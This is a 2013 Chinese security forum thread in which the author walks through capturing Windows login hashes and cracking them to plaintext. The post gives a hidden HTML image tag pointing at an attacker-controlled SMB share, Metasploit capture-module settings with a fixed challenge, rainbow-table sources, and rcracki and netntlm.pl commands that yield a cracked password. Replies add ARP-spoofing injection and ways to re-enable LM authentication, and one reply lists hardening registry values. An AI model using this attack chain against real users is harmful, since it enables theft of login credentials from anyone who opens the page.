首页
社区
课程
招聘
[原创]实验:SMB抓包破解windows登陆密码
发表于: 2013-7-27 16:10 73248

[原创]实验:SMB抓包破解windows登陆密码

2013-7-27 16:10
73248

个人感觉国内几家桌面安全厂商更加重视传统的AV技术,我认为应该他们应该拓展一下防御纵深,应该开辟网络入侵检测这一战场。为什么呢?很多网上流传的攻击方法,比如我这里描述的它们的危害性都不可小觑。面对这样的威胁,我测试的几款主流产品它们选择了沉默,毫无反应。

大家都知道的windows密码破解利器mimikatz, WCE, creddump可以轻易获取windows登陆密码的hash值和明文。但是有前提的!前提是你能把这些工具都能上传并且在目标机器上执行,并且能逃脱AV。事实上即使逃过了静态AV,也很难逃过动态主防。显然想用这些的工具真正的做事是有困难的。还有其他方法吗? 有。抓取网络共享(SMB协议)登陆认证过程的hash值,通过RainbowTable破解还原windows密码明文。这个实验中使用的工具是Metasploit SMB Sniffer module, icrack_mt, netntlm.pl。当然最好下载一个Back Track。
首先描述一下Windows在访问远程共享时发生的那些事儿。Windows要使用当前登陆用户的user/psw进行认证,使用的是SMB协议。也有可能使用空密码认证,也就是所说的建立NULL session。不过不重要,认证过程都是一样的:
1.  Client请求认证,并列举支持的认证协议;
2.  Server选择认证协议,并返回随机的challenge值;
3.  Client使用收到的challenge值对psw做hash计算,并发送认证协议包;
4.  Server返回认证结果: 成功,失败;
使用Wireshark抓包,以上过程一目了然。

接着说实验思路,将这么一个元素<img src="\\10.1.1.3\Incoming" hidden="true">插入到网页中。任何访问这个网页的机器都会向10.1.1.3发送SMB认证请求。这个时候就可以再10.1.1.3上面收货hash了。
怎样收获hash呢?可以使用metasploit中auxiliary/server/capture/smb模拟一个SMB 共享服务器。此服务器在收到连接认证请求后,指定使用LMNT认证协议,并且返回固定(不是随机)的challenge值0x1122334455667788。等待收获,如图:

正如你看到的,总共收获了2组hash值。接下来的目标是破解第二组hash值。在Run SMB 之前请用set JOHNPWFILE /temp/john 命令将hash值保存一份在文件中,便于后面的破解。可以在这里了解更多的Metasploit的使用方法:http://www.offensive-security.com/metasploit-unleashed/Introduction

接下来就是怎样将hash值还原成明文密码了。为什么之前要使用固定的challenge?因为有人已经用这个值生成了彩虹表,我们可以直接拿来用。从这里下载需要彩虹表, 注意尽量全部下载,总共16.4G不算多。ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/RTI2/halflmchall/
然后下载rcracki: http://sourceforge.net/projects/rcracki/
这里的hash是分段的,首选破解破解密码的前7字节。命令rcrack-mt.exe –h <hash的前16位> <彩虹表路径>
rcracki_mt.exe -h 3cf21b4522e336b0 G:\Rainbow
分分钟之内就能破解出来,如图。尝试过在我Intel Core(TM)2 E8500的CPU上破解包含字母,大小写,数字,特殊字符的9位密码,最长时间都不会超过10分钟。

当然而这一步只是破解了其中7位,而且字母的大小写还不对。

接下来最后一步,破解密码的第二部分,使用netntlm.pl。如果你用的是Back Track的话,这个工具是默认安装了的。命令:./netntlm.pl –seed “A3;34TE” –file /tmp/john_netntlm

破解完成,得到准确的密码A3;34teE$。
其实我实验的密码也不简单,破解起来尚且如此容易。若非很多域管理员强行执行密码策略,很多人设的密码更简单,破起来更容易。

最后说明:win7以后默认禁用了NTLM认证协议,测试不会成功。但可以再组策略中windows settings – Security Settings – Security Option中启用。

附件: 通过SMB抓包破解windows登陆密码.doc


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (44)
雪    币: 41
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我和我的小伙伴们都惊呆了。顶tao哥
2013-7-27 16:55
0
雪    币: 3116
活跃值: (1269)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
3
不错,在内网搞同事是很危险的,不过可惜看到最后说WIN7默认禁止了
2013-7-27 17:28
0
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
我伴呆   那个反射攻击也是这个原理?
2013-7-28 21:08
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
5
这个就是前段时间yuange他们微博上讨论的玩意吧,哈哈!windows7没影响?是windows7发送了hash,但是没法破解???还是怎么着?
2013-7-28 22:16
0
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
6
kan 不懂 昂视要mark
2013-7-29 00:39
0
雪    币: 119
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢分享 mark SMB抓包破解windows登陆密码
2013-7-29 05:33
0
雪    币: 8764
活跃值: (5240)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
谢谢,有机会试验一把。
2013-7-29 08:58
0
雪    币: 1753
活跃值: (885)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
9
win7以上的东东~·
的确给禁止了·~悲剧~!公司大部分都是W7
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
ARP欺骗也可以插入<img src="\\10.1.1.3\Incoming" hidden="true">这个代码~!
2013-7-29 08:58
0
雪    币: 627
活跃值: (663)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
10
Using Group Policy
Network security: LAN Manager authentication level

Default:

Windows 2000 and Windows XP: send LM & NTLM responses

Windows Server 2003: Send NTLM response only

Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2: Send NTLMv2 response only


Editing the Registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
ValueName: LmCompatibilityLevel
RegKey data type: REG_DWORD

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only. refuse LM
5 - Send NTLMv2 response only. refuse LM & NTLM


Using Group Policy
Network security: Do not store LAN Manager hash value on next password change

Default on Windows Vista and above: Enabled
Default on Windows XP: Disabled.


Editing the Registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
ValueName: NoLMHash
RegKey data type: REG_DWORD
0 - Disabled
1 - Enabled
2013-7-29 10:10
0
雪    币: 324
活跃值: (113)
能力值: ( LV15,RANK:280 )
在线值:
发帖
回帖
粉丝
11
准确的说是:Win7禁用了那种不安全的认证协议,然而还是可以通过编辑‘组策略Group Policy’,或者修改注册表来让他支持。

如果你的meterpreter后面目标机器上运行了,就可以改策略,得hash。
2013-7-29 10:49
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
12
我以前在公司局域网的时候是用cain+arp欺骗来破解Windows密码,只要密码是数字字母,不是太长的话,几分钟就搞到密码了。
2013-7-29 13:00
0
雪    币: 190
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
很吊啊。。。
2013-7-29 13:58
0
雪    币: 3116
活跃值: (1269)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
14
那就要你有程序能运行了,意义貌似不是大了,特别是改组策略的话,起码要管理员权限
2013-7-29 14:17
0
雪    币: 11096
活跃值: (17617)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
来了解一下情况,
2013-7-29 14:40
0
雪    币: 245
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
谢谢楼主分享啊
2013-7-29 15:17
0
雪    币: 30
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
原理有点深奥。。。慢慢消化一下
2013-7-29 17:09
0
雪    币: 231
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
了解一下,有空试试。
2013-7-29 17:36
0
雪    币: 134
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
能适合xp也不错
2013-7-29 18:38
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
网吧那样的环境,怎么搞到收款机器的呢?
2013-7-29 19:27
0
雪    币: 138
活跃值: (475)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
21
<img src="\\10.1.1.3\Incoming" hidden="true">
这个思路真心不错~! 又学到一招了 !
2013-7-29 23:07
0
雪    币: 58
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
这个应该不是,google "halflmchall"就可以看到是若干年之前的技术方法了。
2013-7-29 23:20
0
雪    币: 357
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
思路不错啊,类似的我见过CS技术,那个可以用阻止第三方COOKIE来防止,LZ这个就没办法了..
2013-7-30 17:32
0
雪    币: 29
活跃值: (131)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
楼主的意思是把<img src="\\10.1.1.3\Incoming" hidden="true">这句话写在一个网页上面就可以实现了吗?
2013-7-30 21:33
0
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
好好学习学习
2013-8-6 11:33
0
游客
登录 | 注册 方可回帖
返回
//